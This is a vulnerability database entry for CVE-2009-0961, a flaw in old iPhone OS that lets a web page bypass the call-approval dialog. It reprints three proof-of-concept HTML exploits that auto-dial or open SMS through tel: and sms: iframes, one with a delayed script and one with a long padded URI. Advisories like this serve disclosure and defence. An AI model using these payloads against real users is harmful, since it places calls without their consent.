CVE-2009-0961 : Detail

CVE-2009-0961

1.66%V3
Network
2009-06-19
14h00 +00:00
2017-08-16
12h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The Mail component in Apple iPhone OS 1.0 through 2.2.1 and iPhone OS for iPod touch 1.1 through 2.2.1 dismisses the call approval dialog when another alert appears, which might allow remote attackers to force the iPhone to place a call without user approval by causing an application to trigger an alert.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 33044

Publication date : 2009-05-16 22h00 +00:00
Author : Collin Mulliner
EDB Verified : Yes

source: https://www.securityfocus.com/bid/35425/info Apple iPhone is prone to a security-bypass vulnerability that may cause a call to be placed automatically. Successfully exploiting this issue may allow attackers to bypass the Mail's call-approval dialog and place a call automatically from a vulnerable device. NOTE: This issue was previously covered in BID 35414 (Apple iPhone and iPod touch Prior to Version 3.0 Multiple Vulnerabilities), but has been assigned its own record to better document it. <html> <head> <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner</title> </head> <body> <iframe src="sms:+12345" WIDTH=50 HEIGHT=10></iframe> <iframe src="tel:+12345" WIDTH=50 HEIGHT=10></iframe> <!-- second iframe is to attack quick users who manage to close the first call-dialog //--> <iframe src="tel:+12345" WIDTH=50 HEIGHT=10></iframe> </body> </html>
Exploit Database EDB-ID : 33045

Publication date : 2009-05-16 22h00 +00:00
Author : Collin Mulliner
EDB Verified : Yes

source: https://www.securityfocus.com/bid/35425/info Apple iPhone is prone to a security-bypass vulnerability that may cause a call to be placed automatically. Successfully exploiting this issue may allow attackers to bypass the Mail's call-approval dialog and place a call automatically from a vulnerable device. NOTE: This issue was previously covered in BID 35414 (Apple iPhone and iPod touch Prior to Version 3.0 Multiple Vulnerabilities), but has been assigned its own record to better document it. <html> <head> <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner</title> <meta http-equiv="refresh" content="0; URL=http://maps.google.de/maps?q=rheinstrasse+75+darmstadt"> </head> <body> <script lang=javascript> function a() { document.write("<iframe src=\"tel:+12345\" WIDTH=50 HEIGHT=10></iframe>"); } setTimeout("a()", 100); </script> </body> </html>
Exploit Database EDB-ID : 33046

Publication date : 2009-05-16 22h00 +00:00
Author : Collin Mulliner
EDB Verified : Yes

source: https://www.securityfocus.com/bid/35425/info Apple iPhone is prone to a security-bypass vulnerability that may cause a call to be placed automatically. Successfully exploiting this issue may allow attackers to bypass the Mail's call-approval dialog and place a call automatically from a vulnerable device. NOTE: This issue was previously covered in BID 35414 (Apple iPhone and iPod touch Prior to Version 3.0 Multiple Vulnerabilities), but has been assigned its own record to better document it. <html> <head> <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner</title> </head> <body> <script lang=javascript> l = "<iframe src=\"sms:"; for (i = 0; i < 10000; i++) { l = l + "3340948034298232"; } l = l + "\" width=10 height=10></iframe><iframe src=\"tel:+12345\" height=10 width=10></iframe>"; document.write(l); </script> </body> </html>

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version 1.0.0

Apple>>Iphone_os >> Version 1.0.1

Apple>>Iphone_os >> Version 1.0.2

Apple>>Iphone_os >> Version 1.1.0

Apple>>Iphone_os >> Version 1.1.1

Apple>>Iphone_os >> Version 1.1.2

Apple>>Iphone_os >> Version 1.1.3

Apple>>Iphone_os >> Version 1.1.4

Apple>>Iphone_os >> Version 1.1.5

Apple>>Iphone_os >> Version 2.0

Apple>>Iphone_os >> Version 2.0.0

Apple>>Iphone_os >> Version 2.0.1

Apple>>Iphone_os >> Version 2.0.2

Apple>>Iphone_os >> Version 2.1

Apple>>Iphone_os >> Version 2.1.1

Apple>>Iphone_os >> Version 2.2

Apple>>Iphone_os >> Version 2.2.1

Apple>>Iphone_os >> Version *

Configuraton 0

Apple>>Iphone_os >> Version 1.1.0

Apple>>Iphone_os >> Version 1.1.1

Apple>>Iphone_os >> Version 1.1.2

Apple>>Iphone_os >> Version 1.1.3

Apple>>Iphone_os >> Version 1.1.4

Apple>>Iphone_os >> Version 1.1.5

Apple>>Iphone_os >> Version 2.0

Apple>>Iphone_os >> Version 2.0.0

Apple>>Iphone_os >> Version 2.0.1

Apple>>Iphone_os >> Version 2.0.2

Apple>>Iphone_os >> Version 2.1

Apple>>Iphone_os >> Version 2.1.1

Apple>>Iphone_os >> Version 2.2

Apple>>Iphone_os >> Version 2.2.1

Apple>>Ipod_touch >> Version *

References

http://support.apple.com/kb/HT3639
Tags : x_refsource_CONFIRM
http://www.vupen.com/english/advisories/2009/1621
Tags : vdb-entry, x_refsource_VUPEN
http://osvdb.org/55238
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/35414
Tags : vdb-entry, x_refsource_BID